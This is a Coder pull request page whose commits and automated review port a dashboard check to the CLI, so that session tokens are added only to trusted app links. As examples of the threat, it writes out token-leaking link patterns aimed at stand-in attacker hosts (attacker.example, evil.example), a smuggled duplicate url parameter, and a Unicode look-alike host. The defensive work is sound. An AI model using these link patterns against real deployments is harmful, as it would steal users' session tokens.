Repository navigation
fix: only add the session token to trusted app links in coder open app - #31721
Conversation
…en app coder open app substituted $SESSION_TOKEN into every external app URL on a top-level agent. It now applies the dashboard's trusted-link check: the link must open a known Coder IDE handler whose url param is this deployment, and the placeholder must be its token. Other links are printed with a warning and not opened. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…links Strip one leading ? before parsing params, like URLSearchParams, so a duplicate url can't hide behind it. Lowercase hosts as ASCII only and reject non-ASCII hosts, since Unicode folding mapped hosts such as codİng.com onto a trusted host that browsers resolve elsewhere. Narrow the docs: the dashboard leaves http and https links enabled without a token. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Split params on & only so a ; in another value no longer rejects a link the dashboard trusts, and compare ports numerically so :0443 matches the default port. Out-of-range ports are rejected. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
|
/coder-agents-review Please limit the review to P0, P1, and P2 issues only. |
|
Chat: Review posted | View chat Review history
deep-review v0.13.0 | Round 1 | Last posted: Round 1, 2 findings (2 P2), COMMENT. Review Finding inventoryFindings
Contested and acknowledgedLaw analysisNot run. Effective additions 469 (threshold 1000). Head 58aa2c6. Round logRound 1Round type: round 1, full panel. Netero first pass: 1 P4, 1 Nit, 1 Note (no P0, panel proceeded). Panel: ging-go, kurapika, ryosuke, melody (specialists); pariston, mafuuu (core); bisky, hisoka, gon, leorio, razor, robin (pool); chopper (wildcard). 13 panel reviewers, one over the 9-12 target because of the wildcard. Requester (issue comment IC_kwDOGkVX1s8AAAABi7qyUg) limited the review to P0-P2, so only P2 findings are posted; lower findings are recorded here. Gon's five comment-redundancy P2s downgraded to P4: keep-argument was that repeated facts drift, but the consequence is maintenance noise with no defect. CRF-5 merges Ryosuke P2 with the P3 drift findings from Melody, Razor, Robin, Bisky, and Ryosuke; set at P2 because the PR fixes a CLI/dashboard drift and leaves the same one-way sync mechanism in place. Orchestrator reproduced CRF-4's mutant (tests pass with the decoded-view call removed) and CRF-28 in Node. 2 P2 posted, 5 OOS in body. Reviewed against bc5dd20..58aa2c6. About deep-reviewCRF = Coder Review Finding (P0-P4, Nit, Note)
|
There was a problem hiding this comment.
This PR applies the dashboard's session-token destination check to coder open app. 2 P2 findings. As requested, this review lists only P0 to P2 findings.
Out of scope (needs a ticket or explicit acceptance by a human):
provisioner/urls.go: coderd does not check where a template app URL with$SESSION_TOKENpoints, so each client (dashboard, CLI, Coder Desktop) carries its own copy of the check, and CLI versions released before this PR still send the token to any template app link.cli/open.go:432:Opening %sprints the URL with the substituted session token to stderr, so the token ends up in terminal scrollback and captured logs.cli/open.go:421: the CLI substitutes its own long-lived login token, while the dashboard creates a new API key per click, so revoking the token the IDE received also logs the CLI out.site/src/modules/apps/apps.ts:239: both checks parse params likeURLSearchParams, so...&token=$SESSION_TOKEN&x=a;url=https://evil.examplepasses both, and a handler that also splits on;reads a secondurl. Which handlers split on;is unverified.site/src/modules/apps/apps.ts:296: the dashboard trustsurl=https://coder.example.com%00because WHATWGURLstrips the trailing NUL, whilecoder open apprejects it, so the two clients disagree on the same app.
🤖 This review was automatically generated with Coder Agents.
…oard Move the trusted-link cases into sessionTokenDestinationCases.json and run them from both cli/open_internal_test.go and apps.test.ts, so the two checks can't drift apart without a test failing. Add a case that only the decoded-view check rejects, and point apps.ts at the Go copy. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…served test host Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…usted-token-links
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
coder open appfilled in$SESSION_TOKENfor every external app defined in a template, wherever the link pointed. Since #31208 the dashboard only does that when the link opens a known Coder IDE handler and itsurlparam is this deployment, so a template app likevscode://coder.coder-remote/open?url=https://attacker.example&token=$SESSION_TOKENwas blocked in the dashboard but still got the token from the CLI.This ports the same check to the CLI. A link is trusted when its
urlmatches the URL the CLI is logged in to or the deployment's dashboard URL from build info. Links that fail the check are printed with a warning and not opened, the same way sub-agent apps with the placeholder already are. The Go check mirrorsisSessionTokenDestinationTrustedinsite/src/modules/apps/apps.tsand the unit tests reuse its cases. Params are parsed likeURLSearchParams, which is what the IDE extensions use. Where Go can't match the browser exactly, the CLI rejects the link instead: non-ASCII hosts (browsers map them through IDNA) and invalid percent escapes.Heads up that template apps the dashboard already blocks will now stop getting a token from
coder open apptoo. This also adds a short section to the template apps docs on when external app links get a session token, since that wasn't documented for the dashboard either.Fixes CLI-57
Follow-up to CORE-783: https://linear.app/codercom/issue/CORE-783/security-coordinate-backend-validation-for-session-token-app-url
🤖 Generated with Claude Code